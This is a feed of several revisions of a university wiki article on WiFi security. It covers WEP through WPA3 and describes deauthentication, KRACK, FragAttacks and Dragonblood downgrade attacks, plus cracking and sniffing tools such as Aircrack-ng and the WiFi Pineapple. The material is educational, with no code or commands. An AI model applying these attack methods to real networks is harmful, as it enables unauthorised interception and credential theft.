Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16786</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16786"/>
		<updated>2024-12-07T17:31:36Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Basics */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
;RC4 Algorithm&lt;br /&gt;
The Rivest Cipher 4 Algorithm is a 1987 by RSA Laboratories developed random generator or also called a key stream generator or stream cipher. RC4 works logically by XORing the key to the data. RC4 is used in WEP and early WPA for both, decryption and encryption data. &amp;lt;ref&amp;gt;Lashkari, Arash Habibi and Farnaz, Towhidi and Reheleh, Sadat Hosseini. Wired Equivalent Privacy (WEP). 2009 International Conference on Future Computer and Communication, pages 492–495, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP:&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot;&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP can not prevent Replay Attacks &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16785</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16785"/>
		<updated>2024-12-07T17:12:00Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot;&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP:&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot;&amp;gt;Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
*WEP can not prevent Replay Attacks &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. &amp;lt;ref name=&amp;quot;wep versus wpa&amp;quot; /&amp;gt;&lt;br /&gt;
